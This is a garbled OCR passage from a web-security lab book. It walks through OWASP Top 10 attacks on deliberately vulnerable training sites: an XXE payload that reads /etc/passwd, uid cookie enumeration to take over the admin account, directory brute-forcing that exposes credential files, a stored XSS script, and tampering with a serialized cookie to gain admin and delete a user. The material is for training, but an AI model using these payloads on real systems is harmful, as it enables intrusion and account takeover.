-,‘_l W P .j-:; e -Ir'-:'

1 r !
nspect Element (&)

ake a S5creenshot

The hard-coded credentials can be found in a comment at the end of the page
containing the source code.

T
Click <spamn ¢lass="label">"Hints and Videos®</span>. Open the hint on <span class="label®="(
There are videos at the bottom that show
different techniques that may be useful.
< ftd>
<ftr>
</table>

y Instructors are just making all this up. -.» <!-- End Content

<td>

<ftr>

<tr class="main-table-frame-dark™>
=td colipag=-"2->

This is an example of information disclosure, or information leakage, as any
user of this site can access this information.



Lab 90. OWASP A4—EML
External Entities (XXE)

Lab Objective:
Learn how to take advantage of an XML External Entity vulnerability to
retrieve files.

Lab Purpose:
An XML External Entity vulnerability

Lab Tool:
Kali Linux.

Lab Topology:
You can use Kali Linux in a VM and Burp Suite for this lab.

Lab Walkthrough:

Task 1:

In this lab, T will be using PortSwiggers web academy to demonstrate an
XXE injection attack. You will need to register for an account at the
following link to complete this lab:

https://portswigger.net/web-security/dashboard

The lab itself can be accessed at the following link once you have created an
account:

https://portswigger.net/web-security/xxe/lab-exploiting-xxe-to-retrieve-
files



https://portswigger.net/web-security/dashboard
https://portswigger.net/web-security/xxe/lab-exploiting-xxe-to-retrieve-files

Task 2:
Once setup on the site, access the lab. You will be presented with a store
webpage. Click “View details” button on any product in the store.

5%

Eggtastic, Fun, Food
Eggcessories

Glant Pillow Thing Coonrmi- Tood

$18.07 $26.63

View details View details

3124

View details +~

Start Burp Suite and turn intercept on.

Burp Suite Community Edition v2020.12.1 - Temporary Project

Burp Project  Intruder Repeater 'Window Help

Repeater Sequencer Decoder Comparer Extender Project options User options
Dashboard Target Intruder
IMHEL HTTP history Websockets history Options
\1 lumﬂﬂffr 1 @
\ .
2)

You will notice a button at the bottom of the screen called “Check Stock”.
Once intercepting mode on, press the “Check stock” button and capture the
resulting request in Burp Suite.
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With the request captured, right-click and press “Send to Repeater”. Navigate
to the Repeater tab where we will continue to edit the request.



Burp Project  Intruder Repeater  Window  Help
Dashboard Target Proay Intruder Repeater Sequencer Decoder Comparer

HTTP histery WebSockets history Options

;;'? B Request to https:/fac7f1fbalf0348f580e516 31007c00a0.web-security-academy.net:443 [18.200.141.238]

Intercept is on Action Open Browser

1 POST /product/stock HTTP/1.1 \-)_h\'\

2 Host: ac7flfbal fO348fS80e5163108Yc00al. web-security -acadeny . net

3 User-Agent: Mozilla/S.0 (¥1l: LiNux xB6_64: rv:78.0) Gecko/2010010Ll Firefox/78
Accept: #j%

» Accept-Language: en-US,en;g=0.5

4
& Accept-Encoding: gzip. deflate
8

Send to Intruder Ctrl-1
7 Referer: https:;;a:?flfbalfﬂ:ﬂdﬂfﬂ@}ﬂﬂﬂ' u
Content -Type: application/xml Sendto Repeater Ctrl-R "”d

S Origin: https://ac7fl1fbalf0348f580e51631007 Send to Sequencer
10 Content-Length: 107

11 Connection: close Send to Comparer
12 Cookie: session=ToJHJILRLFgQ61STCA0EUPSL Lagk] Sand to Decader
13
14 =?xml version="1.0" encoding="UTF-B8"7> Request in browser ¥
=5t ockCheck= - AT . o >
<product Id> ngagement tools [Pro wersion only]
2 Cha request method
efproductIds -
=storelds Change body enceding
1
Copy URL
=fstorelds oy
=/ st ackCheck:= Copy as curl command
Copyto file

The way in which the server serves XML requests is vulnerable in that it
parses XML input and returns any unexpected values in the response. This
means that we are able to execute commands on the server OS.

To do this, we need to locate the section at the end and create a space
between the <?xml version="1.0" encoding="UTF-8"?> and <stockCheck>.
In this space, we want to enter the following line of code:

<IDOCTYPE test [ <IENTITY xxe SYSTEM “file:///etc/passwd”> |>

We need to make another change before we can submit this request. We need
to change the number under the <productld> tag to the following:



&xxe;

The following screenshot shows what the full request should look like:

R

(=]
O W s W Wk

ok
W M) =

15
16

17
18

= raw  \n Actions v

Burp Project Intruder Repeater Window Help
Dashboard Target Proxy Intruder Repeater Sequencer Decoder Con
1l x i x

equest

POST /product/stock HTTP/1.1
Host: ac7flfbalf0348fSB0e51631007c00al. web-security-acadeny.net

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefo
Accept: #/%

Accept-Language: en-US,en:g=0.5

Accept -Encoding: gzip. deflate

Referer: https://ac7flfbalf0348f580e51631007c00al. web-security -
Content -Type: application/xml

ademy . net

Origin: https://ac7flfbalf0348fS580e51631007c00a0. web-security -Ngadeny . net
Content-Length: 107 .
Connection: close \
Cookie: session=ToJHJ1RLFgO&1iSTC40EUPSL L mqKloMKe \

<7xml version="1.0" encoding="UTF-8"7=

=< | DOCTYPE test ! <|ENTITY xxe SYSTEM 'fil::f..’fetf:..feassud":- E:-

<product Id»
Gxxe;|
JTproauerids
zstoreld>
1

«/storeld» 9'

afstiockCheck=

3

Once the request has been altered, we can submit the request by pressing the
“Send” button on the top left of the Burp Suite Repeater window. You can
view the response on the right screen.



Response

H'.WI Render  \n  Actions v

HTTP/1l.1l 400 Bad Reguest

Content -Type: application/json: charset=utf-8
Connection: close

Content -Length: 1230

N LA B L0 RS

root:x:0:0:roo0t:/root:/binfbas
daemon:x:1:1:daemon: fusr/sbin: fusr/sbin/nologin
bin:x:2:2:bin: /bin: fusr/sbin/nologin
sys:x:3:3:sys: fdev: fusr/sbin/nologin
syncix:4:65534:5ync; fbin: /bain/sync
games:x:5:60:games: Jusr/fgames: fusr/sbin/nologin
man:x:6:12:man:/var/cache/man: fusr/sbin/nologin

lp:x:7:7:\p:/varfspool flpd: fusr/sbin/nologin
mail:x:8:8:ma1l:/var/mail : fusr/sbin/nelogin
news:x:9:9:news: /var/spool /news: /usr/sbin/nologin
uucp:x:10:10:uucp: /var/spool fuucp: fusr/sbin/nologin
proxy:x:13:13:proxy:/bin: /usr/sbin/nologin
www-data:x:33: 33 www-data: /var/www: fusr/sbin/nol ogin
backup:x:34:34:backup: /var/backups: fusr/sbin/nologin
list:x:38:38:MailinglListManager: /var/list: /usr/sbin/nologin
irc:x:39:39:ircd: fvar/run/ircd: Jusr/sbin/nologin
gnats:x:41:41:GnatsBug-ReportingSystem{admin) : /var/l1ib/gnats]/L
nobody : x : 65534 : 65534 ;nobody : /nonexistent : fusr/sbin/nologin
_apt:x:100:65534: : /nonexistent:/usr/sbin/nologin

peter:x: 2001: 2001: : /home/peter: /bin/bash
carlos:x:2002: 2002: : /fhome/carlos: /bin/bash

user:x: 2000: 2000: : /homefuser: /bin/bash
elmer:x:2099:2099: : /home/elner: /bin/bash
dnsmasg:x:101: 65534 dnsmasq

G B B RS BRI R R B RS B R B R b R e e e b e b

You will notice that, while the response returned a Bad Request, it also
returned the contents of the /etc/passwd file.

So, what we just did is take an advantage of an XXE vulnerability and pass a
command to the OS running on the server.



L.ab 91. OWASP A5—Broken
Access Control

Lab Objective:
Learn how to take advantage of a broken access control vulnerability to log in
as another user.

Lab Purpose:

Broken Access control is what happens when restrictions on what
authenticated users can do are not properly enforced. This vulnerability can
be exploited by attackers to access unauthorized functionality and or data
such as other users’ accounts, modify other users’ data, change access rights,
view sensitive files etc.

Lab Tool:
Kali Linux.

Lab Topology:
You can use Kali Linux in a VM and Mutillidae 2 Tool for this lab.

Lab Walkthrough:

Task 1:

In this lab, I will be using Mutillidae 2 to demonstrate a broken access control
vulnerability. How to install this environment in Kali VM is explained in
detail in lab 87.

To begin, we will first need to register an account on the Mutillidae 2 home
page. The Login page can be found at the top left of the home page (1).



e« OWASP Mutillidae Il

: Version: 2.8.32 Security Level: 0 (Hosed)
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Once at the login screen, press on “Register an account” (2). From here, enter
the following information:

Username: tester
Pasword: test

Confirm Password: test
Signature: Hacker

Please choose your username, password and
signature

\

Username {tester

Password lsses test ‘L!—'————
Confirm Password |eess| test | F‘_ﬁ'

i

L)
=)




Once this information is entered, click the “Create Account” button (4). We
will now have created a new user on the site. Click “Login/Register” link
again and wait.

Burp Suite Community Edition v2020.12.1 - Temporary Project

Burp Project  Intruder Repeater Window Help
Repeater Sequencer Decoder Comparer Extender Project options User options
Dashboard Targel Py Intruder
Intercept HTTF history webSockets history Dplions
. Imerct;rﬁfl;f/ Copen Browser @
4 (1)

Start Burp Suite and turn intercept mode ON. If you are not sure how to do
this, please refer to lab 7 which we had done on Burp Suite. It is important to
note that, when accessing the local web application, you will need to add a .
after localhost in order for Burp Suite to be able to capture requests. This is
what the URL for the user login page should look like:

http://localhost./mutillidae/index.php?page=login.php

Essentially, it is the same, just with an added . right after localhost (1). This
will force the web application to transmit data through our Burp Suite proxy,
allowing us to capture requests.

Return to the Login/Register page and enter the details for the account we
just created (2,3,4).



tillidae/index.phpTpage = login.php

Please sign-in

Deant have an accoXat? Please register here - @

(1) | S(4)

The captured requests should be available for you in Burp Suite. There will
be two of them, right-click on the requests and select “Send to Repeater” (1).

Burp Project  Intruder Repeater Window Help

Dashboard Target Intrudier Repeater Sequencer Decoder Comiparer Extender
HTTP histony wiebSockets history Options
£ Request to|alfefocathost. .80 [127.0.0 A _,)

Forward Drop m Action Open Browser g)
ety R W Actions v \

1 POST /eutillidae/index.php?page=login.php HTTR/1.1
2 Host: lecalhost.

2 User-Agent: Mozilla/S.0 (X11; Linux 26 64; rv:78.0) Gecke/20100101 Firsfex/78.0
4 Accept: text/htel,application/xhtml+znl, application/xal;q=0.9

S Accept-Language: en-US,en:ge=0.5

G Accept-Encoding: gzip, deflate Send Lo Intruder
? Referer: http://localhost. /mutillidae/index.php?page=login.ph

8 Content -Type: application/x-wwiw-fors-urlencoded Sendto Repeater

% Content -Length: 59 Send to Sequencer

10 Origin: http://localhast.

11 Connection: close Sendto Comparer

12 Cookie: PHPSESSID=nvldSsfvrka783f103313svgd6: showhints=1 Sendto Decoder

12 Upgrade-Insecure-Regquests: 1

14 Request inbrowser »

15 usernamestesterbpasswvordstestLlogin-php-submit -buttonsLagin )
. ki e Engagement tools [Proversiononly] »

Then, forward the requests (2). The following screenshots are what the
captured requests should look like:



Burp Project Intruder Repeater Window Help
Dashboard Target Pro Intruder Repeater Sequencer Decoder Comparer

Intercept HTTP history WebSockets history b’_
I L_/-__L—"I @

£/ Requesttohttp://localhost.:80 [127.0.0.1]

Forward Drop Im Action || OpenBrowser |
F'.rr-ll.-m in  Actions 9}

1 GET /mutillidaesindex.php?popUpMotificationCode=ALLl HTTP/1.1
2 Host: localhost.

4 Accept: text/html,application/xk i

Accept -Language: en-US,en:qe0.5

Accept -Encoding: gzip., deflate SendtoIntruder
Referer: http://localhost. /mutal

~ @

& Connection: close Sendto Repeater
9 Cookie: PHPSESSID=mvldSsfvrkm78% Send to Sequencer ame=tester; uid=26
10 Upgrade-Insecure-Reguests: 1
11 Send to Comparer
12 Send to Decoder
Regquest in browser >

On this page, select “Send to Repeater” again (3). Then, click Repeater tab

(4).

Task 2:

Here, we can see the two requests we captured. Select the first request and
click the “Send” button in the top left (1). Notice the “uid” value that is
returned in the response (2). This is the value which we are going to be

manipulating.



5 Content -Length: 5%

10 Origin: http://Mocalhost.

11 Connection: close

12 Cockie: PHPSESSIDeavldSsfvrke783f10))13svgds: showhints=l
1% Upgrade-Insecure-Requests: 1

14

15 username=testerbpassword=testilogin-php-submit -button=Lagin

bt e

T N

Server: Apache/2.4.46 (Debian)
Expires: Thu., 19 Nowv 1981 0B:52:00 GMT

Set-Cookie: username=tester; path=/; SaneSite=Lax
Set -Cookie: uide26: pathe/: SameSitesLax

Burp Project  Intruder Repeater Window  Help
Dashboard Target Intruder Repeater Sequencer Decoder Comparer
x JEE
| Follow redirection
quur\.: 2 o Response
oty D At v O o, A
1 POST jautillidae/index.php?page=login.php HTTP/1.1 1 HTTP/1.1 302 Found
2 Host: lecalhest. 2 Date: Thu,
3 User-Agent: Mozilla/S.0 (M11: Linux xB85 64: rv:78.0) 3
Gecko/ 20100001 Firefor/78.0 4
4 hccept: 5 Cache-Comtrol :
text/htol, application/ashtel+xnl . application/xal ;qe0. 9, image/web & Pragea: no-cache
p.*fv;g=0.8 7
5 hccept-Language: en-US, en:ge.5 B
6 Accept-Bncoding: grip, deflate 9 Lecation: i '
T Referer: http://localhost. feutillidae/index. php Tpage=login. php 10 Content -Length: O
8 Content-Type: application/x-www'-fors-urlencoded 11 Connection: close

Centent -Type: text/htal;

Extender Project options User opticns

\n Actions v

08 Apr 2021 10:38:48 OMT

no-store, no-cache, must-revalidate

ificationCode=AUl

Burp Project Intruder
Dashboard Target

- O

Repeater

P

Window Help
Inbruder

I."'.I:lI

Repeater

o

Sequencer

Decoder

Comparer Extend

Request

oretry D Acions v @

1 GET /mutillidae/index.phpipoplUphotificationCod
2 Host: localhast.

3 User-Agent: MozillasS.0 (¥11: Linux xB6 64; rv:
Gecko /20100101 Firefox/78.0

Accept:

test /html, application/shtal +xal , application/xml ;g=0.9,1
p.¥ %, g=0.8

Accept -Language: en-US,en;g=0.5

Accept-Encoding: gzip, deflate

Referer: http://localhost./mutillidae/index.php?pagesla
Connection: close

Cookie: PHPSESSIDenvidSsfvrkm7E83fl0jjl3svgde: showhint
usernane=tester; uad=26
10 Upgrade-Insecure-

|

"= R T ]

5: 1

Response

Pretty m Render

5C2

Send to Intruder
Send to Repeater

Ctel-1
Ctrl-R
Send Lo Sequencer
Send to Comparer

Send to Decoder

Request in browser b

Engagement tools [Proversion only] >

Change request method

Now, go to the second request we captured. We can see that the second
request is taking the “uid” value from the response the first request received,
and including it in the body of the request. This will allow us to manipulate
this value.



right-click on this request and select “Send to intruder” (1). Then, navigate to
the “Intruder” tab (2).

Task 3:

You will notice that we have our target available, which is the request we just
sent here. Go to the “Positions” tab within the Intruder tab. You will notice
some sections highlighted in green. Click on the Clear button to the far right
to remove all of these areas (1).

Burp  Project Intruder Repeater Window Help

Repeater Sequencer Extendsr Project options User options
Dashboard nitruder
1 = 2 = 3 = .
Target Payloads

L'n1|:|; ure The porsitions w b attack type determines e way inwhich payloads are

Biss:grwd to payload posis see hel )
Attackbype: | Sniper E
1 GET /mutillidae/index.phpipopUpNotifticationCode=§ALULS HTTP Add§ "’J

2 Host: localhest,
3 User-Agent: Mozilla/S.0 (X11: Linux xB6 84; rv:78.0) Gecko/2010010
i Accept: text/htel.application/xhtel+xaml.application/xml;qg=0.9; inage/wed

Accept -Language: en-US,en;:q=0.5

Accept-Encoding: gzip, deflate

Beferer: http://Mocalhost. /fsutillidae/index.php?page=login.php
8 Comnection: close

Cookie: PHPSESSID=SmvldSsfvrkm783f1l07]13svgd6%: showhints=§1%5: username=§tester§: uld=§5265
Upgrade- Insecure-PRequests: 1

Clear §
Auto §

Refresh

Once this is done, navigate to the “uid” value and place one of those symbols
either side of the number by pressing the “Add §” button to the far right (2).

Once this is done, navigate to the Payloads tab (3). Then, go to a terminal
screen in Kali and create a text file with numbers from 1 to 50 included in the
file. Each number should be on a new line with no spaces. You can easily
generate this file by executing the following single line command;

for k in $(seq 1 50);do echo -e $k; done > seq.txt

Then, return to the Payloads tab within the Intruder tab and import this file
we just created (1,2,3). You will notice that our payload now contains the
numbers 1-50.
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Once this is done, click on the “Start Attack” button on the top right of the
screen (4). This will start replacing the “uid” value in our origional request
with the list of numbers we imported into the payloads section. We can see in
the response that the logged-in user is the admin user.

Task 4:

We will now analyse the results of our intruder attack. To do this, we will
simply click on each of the different numbers to see if they corresponded
with any other user. Click on the first request. You will see the request sent
on the bottom panel. Click on the “Response” tab in between the top and
bottom panels. This will show us the response from the server.
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We now know that the uid value for the “admin” user is 1, and 2 for user
“adrian”. We will now use this information to log in as the “admin”.

Task 5:

Go back to Burp Suite and turn intercept mode OFF. Then, navigate to
browser where we are logged in as the user tester. right-click on the page and
select the “Inspect Element” option (1). Then, navigate to the Storage tab (2).



Click on the Cookies tab. This tab will have stored the cookie for our logged
in user, which means we will remain logged-in for the duration of our session
on the application. Click on the localhost cookie and note the uid value here

(3).
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Double click on the uid value and change it to 1, the admin users uid (4).

Now, return to our browser page and refresh the page. We are now logged-in
as the admin user!
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Lab 92. OWASP A6—Security
Misconfiguration

Lab Objective:
Learn how to take advantage of a security misconfiguration vulnerability.

Lab Purpose:

Security misconfigurations are one of the most noted vulnerabilities in the
wild. This is usually caused by insecure default configurations, incomplete or
ad hoc configurations, open cloud storage, misconfigured HTTP headers, and
verbose error messages containing sensitive information.

Lab Tool:
Kali Linux.

Lab Topology:
You can use Kali Linux in a VM for this lab.

Lab Walkthrough:

Task 1:

In this lab, I will be using Mutillidae to demonstrate a security
misconfiguration vulnerability. How to install this environment in Kali VM is
explained in detail in lab 87.

One of the most common security misconfigurations is relying on hidden
directories and files, which are not actually hidden. The only thing keeping
the application secure in this scenario is the hope that the attacker will not
find the names of the hidden resources. These names can be brute forced or
guessed.



The first example of a security misconfiguration can be easily found on
Mutillidae 2. Simply go to the URL and type the following:

http://localhost/mutillidae/passwords

As you will see, we can clearly see the accounts.txt file here in this
supposedly hidden directory. Click on this file and you will notice all of the
usernames and passwords listed for every account on Mutillidae 2. This is a
common and severe security misconfiguration, where hidden or sensitive
directories are not actually hidden.

1,admin, adminpass,gdt réét?,Admin

2,adrian, somepassword, Zombie Films Rock!,Admin
3,john,monkey,I like the smell of confunk,Admin
4, jeremy,password,d1373 1337 speak,Admin
5,bryce,password,I Love SANS,Admin
6,samural,samurai,Carving fools,Admin
7,jim,password,Rome 1s burning,Admin

8,bobby, password ,Hank 1s my dad,Admin
9,simba,password,I am a super-cat,Admin
10,drevell ,password,Preparation H,Admin
11,scotty,password,Scotty do,Admin
12,cal,password,C-A-T-5 Cats Cats Cats,Admin
13, john,password,Do the Duggie!, Admin

14, ,kevin,42 ,Doug Adams rocks,Admin
15,dave,set ,Bet on S.E.T. FTW,Admin
16,patches,tortoise, meow,Admin

17, rocky,stripes,treats?,Admin

18,tim, lanmaster53,Because reconnaissance 1s hard to spell,Admin
19,ABaker,SoSecret ,Muffin tops only,Admin
20,PPan,NotTelling,Where is Tinker?,Admin
21,CHook, JollyRoger,Gator-hater,Admin
22,]ames, 1<3devs,Occupation: Researcher,Admin
23,ed,pentest, Commandline KungFu anyone?,Admin

Task 2:

For the next task, we will be using gobuster tool to discover any other
potential security misconfigurations in the form of sensitive files or
directories. Download gobuster by typing the following in a terminal in Kali:




sudo apt-get install gobuster

Reading pa
Buildi g ide Done
. Done
will be installed:

3.1.0- 11) ...
rs for kali-menu (2021.1.4)

Once the tool is installed, type the following command in a single line to scan
the mutillidae site for all potential directories:

gobuster dir -u http://localhost/mutillidae -w \
/usr/share/dirbuster/wordlists/directory-list-1.0.txt -x .txt

This command will search the target site for all directories containted in the
directory list text file. It will also search for any files with the .txt extension
which are accessable through the URL. Notice that the only .txt file which
turns up is the robots.txt file.



/images
/includes
/robots.txt
/phpmyadmin

Browse to this file now by typing the following into the URL bar:
localhost/mutillidae/robots. txt

This is another common security misconfiguration whereby the robots.txt file
contains sensitive information and is easily accessible. We can see when we
open this file, that it contains a list of a number of sensitive directories.



&« s ﬁ} 1) () localhost

¢ Kali Linux X Kali Training X Kali Tools X Kali Forums « Kali Docs ¢

passwords/
config.inc
classas/
javascript/
owasp-esapi-php/
documentation/
phpmyadmin/
includes/

Disallow
Disallow
Disallow
Disallow
Disallow

Navigate to a few of these directories by typing them into the URL and notice

the range of sensitive information we can uncover.

Name

Index of /mutillidae/includes

Last modified Size Description

o Parent Directory
back-button.inc
capture-data.php
|# constants.php
database-config.inc
footer.php
header.php

=?php

define( DB _WOST', '127.0.0.1°);
define('DB_USERNAME', 'sutillidae’);
define| DB PASSWORD', 'mutillidae’);
define('DB_NANE', 'mutillidae’);

>

LULL-UG-U/ LE:UL D.DR




L.ab 93. OWASP A7—Cross Site
Scripting (XSS)

Lab Objective:
Learn how to take advantage of a Cross Site Scripting (XSS) vulnerability.

Lab Purpose:

Cross Site Scripting (XSS) is a security vulnerability which allows attackers
to inject client-side scripts into web pages viewed by other users. Attackers
can use this vulnerability to bypass access controls such as the same-origin
policy.

Lab Tool:
Kali Linux.

Lab Topology:
You can use Kali Linux in a VM for this lab.

Lab Walkthrough:

Task 1:
In this lab, we will be using Mutillidae to demonstrate an XSS vulnerability.
How to install this environment in Kali VM is explained in detail in lab 87.

Considering that we have already covered reflected XSS in another lab, in
this lab, we will be focusing on Persistent XSS. Persistent XSS is a more
damaging form of XSS as the injection is permanently stored in the source,
such as the comments to a video or blog. In this lab, we will be adding to the
blog.php code to store a windows alert popup box.

To begin, navigate to the “Add to your blog” menu which can be found under



the following section of the Mutillidae 2 menu:

e« OWASP Mutillidae Il: Keep Calm and

Version: 2.8.32 Security Level: 0 (Hosed) Hints: Enabled (1 - Try easier
Heme | Login/Register | Toggle Hints| Toggle Security | Enforce TLS | Reset DB | View Log

OWASP 2017 Al - Injection (SOL) waitﬂmﬂ To T'|E Blog

OWASP 2013 Al - Injection (Other) ¥

(WASP 2010 A2 - Broken Authentication and »
Session Management
DWASFP 2007
A3 - Sepsitive Data Exposure s and Videos
Weh Ssmvices
Ad - XML External Entities
Mhers

AS - Broken Access Control
Labs

Al - Secarity Misconfiguration
Documentation = Add blog for anonymous

A7 - Cross Site Sceripting (X55%) Reflected (First Order)
Resources reé No W e

AB - Insecure Deserialization | [ Add te your blog

AD - Using Componenls with View someone's blog
Known Vulnerabililies

Cross Site Request Forgery Reglster User
ALD - Insufficient 1 rH_|1_||I||_r amil ICSEF)

Monitoring —_—_—nm m- Edit User Profile

Once on this page, you will be presented with a text box where you can enter
text and add it as an entry to your blog. Our goal here is to add a script to the

blog which will create a popup on the users screen every time the page is
loaded.

| Add blog for anonymous |
|Hnte: <b>,<i> and <u> are now allowed in blog entrle:J
|1
[ Save Blog Entry ]
Task 2:

In order to test the page to see if it is vulnerable to the persistent XSS



vulnerability, enter the following script into the textbox (1):

<script>alert(“Hello, you have been hacked!”)</script>

| Add blog for anonymous W

[Note: <b>,<I> and <u> are now allowed in blog entries|

éscr-lpt.‘-é'ler_'-c[*HeLlc-:—, };uu have been h-ﬂfkeﬂ'-'-'?;ﬂj;'ilt-rlp;[}

L) "J//j

Once you click the “Save Blog Entry” box (2), you will notice that a popup
will appear on your screen with the message we entered into the textbox (3).

| Save Blog Entry ‘].*,-"——-——-“-_"'__F e/J

©)

Hello, you have been hacked!

Click the OK button to close the popup.

Task 3:
We have executed an XSS attack, but we want to make sure that this attack
will occur everytime the page is loaded.

Then, navigate to the “View someone’s blog” site from the following
location in the menu:



e+ OWASP Mutillidae II: Keep Calm

Version: 2.8.32 Security Level: 0 (Hosed) Hints: Enabled (1 - Try easie
Home | Login/Register | Toggle Hints| Toggle Security | Enforce TLS | Reset DB | View Ld

o OWASP 2017 Al - Injection (SQL) ¥

View Blogs
OWASF 2013 Al = Injection (Other) ]
OWASP 2010 A2 - Broken Authentication and » a
Session Management

DWASP 2007

PRy ey A e s and Videos
Weh Services

A4 - XML External Entities »
Others
A5 - Broken Access Control  » 3
Lahs
Decumantatien A8~ Secerity Misconfawmmtion * Select Author and Click to View Ble

@ AT - Cross Site Scripting (X55) » Reflected (First Order) 3
Resources -

LLag Blon b o
AB - Insecure Deserialiration 9 Persistent {Second Order) 13 Add to your blog

AD - Using Componenls with DOM-Based 13 View someone’s blog o
Known YVulnerahilities A
Cross Site Request Forgery Register User
ALD - Insulliclent Logging and (CSEF)
Monitering - Edit User Profile
Via "Input” (GET/POST)

Show Log

Via HTTF Headers

You will be presented with a dropdown menu where you can view the blog of
any author.

View Blog Entries
3 Add To Your Blog

[ Select Author and Click to View Blog ]

Show All <7

Click on this menu (1) and select the “Show All” option, and then click the
“View Blog Entries” option (2).



You will notice that the popup will appear again with the same message we
entered earlier. This indicates that any user who visits this page will receive
the same popup, meaning we have successfully executed a persistent XSS
attack!




Lab 94. OWASP A8—Insecure
Deserialization

Lab Objective:
Learn how to take advantage of an insecure deserialization vulnerability.

Lab Purpose:

Insecure deserialization vulnerabilities often lead to remote code execution,
making them very severe vulnerabilities. Even if they do not result in RCE,
they can be used to perform attacks including replay attacks, injection
attacks, and privilege escalation attacks.

Lab Tool:
Kali Linux.

Lab Topology:
You can use Kali Linux in a VM for this lab.

Lab Walkthrough:

Task 1:
In this lab, I will be using Portswigger’s Web Academy to demonstrate an
XSS vulnerability.

In order to access the lab, you will first need to create an account at the
following site:

https://portswigger.net/web-security/dashboard

Once you have created an account, you can access the lab at the following
link:



https://portswigger.net/web-security/deserialization/exploiting/lab-
deserialization-modifying-serialized-objects

Task 2:

To begin, access the lab from the link above. You will be presented with a
webpage which looks like an online shop. Click on the “My account” button
at the top right of the screen (1). This will bring you to a login screen. Then,
login with the username “wiener” and password “peter” without quotes

(2,3,4).
Web Secur'rty Modifying serialized objects B ot sonved
Academy < | — ©

EJ

|| peter -

Home | My accoum

You will then see a screen which allows you to update the email for your
account. Start Burp Suite and ensure intercept is turned ON. How to install

Burp Suite is explained in detail in lab 7.




Burp Suite Community Edition v2020.1.2.1 - Temporary Project

Burp Project Intreder Repeater Window  Help

Repeater Sequencer Decoder Comparer Extender Project options Useroptions
Dashboard Target Intruder
Intercept HTTP history WebSockets history Dplions
. “". ’l"’. g_f]
N Imemﬂﬁf/ @
L2

Then, enter a random email address into the textbox and click update email.

My Account

Your usemame is: wiener QJ
infoi@example.com =
Update email < (2)

Navigate to Burp where the captured requests should be waiting for you.
Forward the first request as we do not need it. The second request is the one
we want; it starts with the following header:

GET /HTTP/1.1



Burp Project Intruder Repeater Window Help
Dashboard Target Prox Intruder Repeater Sequencer Decoder
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1 |GET / HTTP/1.1 " _\
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3 User-Agent: Mozilla/5.0 (¥11; Linux x8€ Send to Intruder

HOLO53d5NI

4 Accept: text/html.application/xhtml+xml -

5 Accept-Language: en-US,en;gq=0.5 Sendto Repeater Cirl-R

£ MAccept-Encoding: gzip. deflate Bille et

7 Referer: https://accalf7clech3a6880dddt i |
8 Connection: close Sendto Comparer

9 Cookie: session=TzoOOLJVc2VyIjoyOntzOjg
10 Upgrade-Insecure-Requests: 1 SETREAS Eeer
11 Request in browser >

Right click on this request and choose the “Send to Repeater” from the option
menu (1). Then, navigate to the “Repeater” tab (2).

Task 2:
On the Repeater tab, notice the cookie session value which is assigned to us.

This is the value we are looking to manipulate.

Highlight this value (1) and you will notice the automatic decoder to the right
of the screen (2) is able to decode the cookie value and show us in clear text
what values it is made up of.



DECODED FROM: Basesd w ea®

0:4:"User":2:{s:8: "username" ;5:6: "wie
ner":s:5:"admin":b:0:}

With this cookie value highlighted, right-click on the value and select Send to
Decoder (3). Then, navigate to the Decoder tab (4).

Task 3:

Once in the Decoder tab, you will see the cookie value that we sent here from
our request. Select the “Decode as” button to the right of the textbox and
select “URL” (1). Another textbox will appear with the URL decoded value.
Do this again for the second value (2) and a third box will appear with the
decoded value. For this third value, select “Decode as”, and then select
“Base64” (3). Finally, we are able to see our cookie value in clear text,
allowing us to manipulate it (4).



Burp Project Intruder Repeater Window Help
Dashboard Target I Intruder Repeater Sequencer Decoder

=."admin";b:0;}

Ond:-"User=:2:{s:8:"username®;5:6 ".i.-ierﬂ‘,s'S"adm;\",b:ﬂ;}

Smart decode

Notice the section which has the following code in it:
“admin”;b:0;}

This is the section we are interested in manipulating. The b:0 value is a
boolean value which means false. Essentially, this is indicating to the server
that we are not the admin user. If we change this value to b:1, this will now
indicate to the server that we are the admin user.

Great! We now need to reformat this value to be the same as the original
cookie value. To do this, click the “Encode as” option to the right of the value
we just manipulated and select “Base64” (2). A new textbox will appear



containing the encoded value. For this new textbox, click on the “Encode as”
option to the right of the box, and select “URL” (3). A new textbox will
appear containing the URL encoded value.
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OK, we now have our manipulated value back to the format of the original
cookie value. Copy this value (4) and return to our “Repeater” tab, where the
request should still be waiting for us (5).

Task 4:

In the “Repeater” tab, replace the cookie session value with our new value
which we copied from the “Decoder” tab (1). Press “Send” in the top left
corner and note the response from the server on the right hand side (2). At the
bottom of the right handside panel, there is a search box. In this search box
type the word “admin” (3). You should notice 2 results being returned, with a
reference to a directory called “/admin”.
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Change the header of your request so that it looks like the following (4):

GET /admin HTTP/1.1

Then, “Send” the request again (5). You don’t need to, but if you replace the
origional GET / request we captured with this new request and new cookie
value, whenever you return to the shop, you will notice that you would be

logged in as the admin (6).
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Task 5:

Search for the word “admin” in the right hand panel again, and you will
notice that there are now 4 matches (1). There are an extra two results with
headers which allow us to delete the user account for “carlos” (2). Copy the
header which deleted the user account for “carlos”. Replace your request
header with this value so that it looks like the following (3):

GET /admin/delete?username=carlos HTTP/1.1
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Send this request by hitting the “Send” button in the top left (4). You will
notice a result of 302 found, indicating that the user account has been deleted

(5).
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To finish the lab, select all the text in the left hand panel and copy it to your
clipboard (6). Return to your “Proxy” tab, where your request should still be
waiting (7). Replace all the text on this screen with the copied text from the

“Repeater” tab (8) and “Forward” the request (9). Once this is done, turn off
intercept (10) and return to the lab in your browser.
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Congratulations! The lab is solved! We have managed to login as the user
“carlos” by exploiting an insecure deserialization vulnerability and delete the
user account for “carlos”.

WEbSGCUrity Moditying serialized objects @ig] soves )

~ongratulations, you solved the lab! Continue leaming

Home | My accoum

Admin interface only avalable it lpgoed n as an adminsraborn




Lab 95. OWASP A9—Using
Components with Known
Vulnerabilities

Lab Objective:
Learn how to take advantage of integrated components in a web application
with known vulnerabilities.

Lab Purpose:

Components—such as libraries, frameworks, and other software modules—
run with the same privileges as the application. If a vulnerable component is
exploited, such an attack can facilitate serious data loss or server takeover.
Applications and APIs using components with known vulnerabilities may
undermine application defences and enable various attacks and impacts.

Lab Tool:
Kali Linux.

Lab Topology:
You can use Kali Linux in a VM for this lab.

Lab Walkthrough:

Task 1:

In this lab, we will be using Mutillidae 2 to demonstrate how to take
advantage of a web application using components with known vulnerabilities.
How to install this environment in Kali VM is explained in detail in lab 87.

This is a very simple lab. In this lab, we will learn how to uncover whether an
application has integrated components with known vulnerabilities.



Navigate to the “Secret PHP Server Configuration Page” which can be found
at the following location in the Mutillidae 2 menu:

e¥% OWASP Mutillidae II: Keep Calm

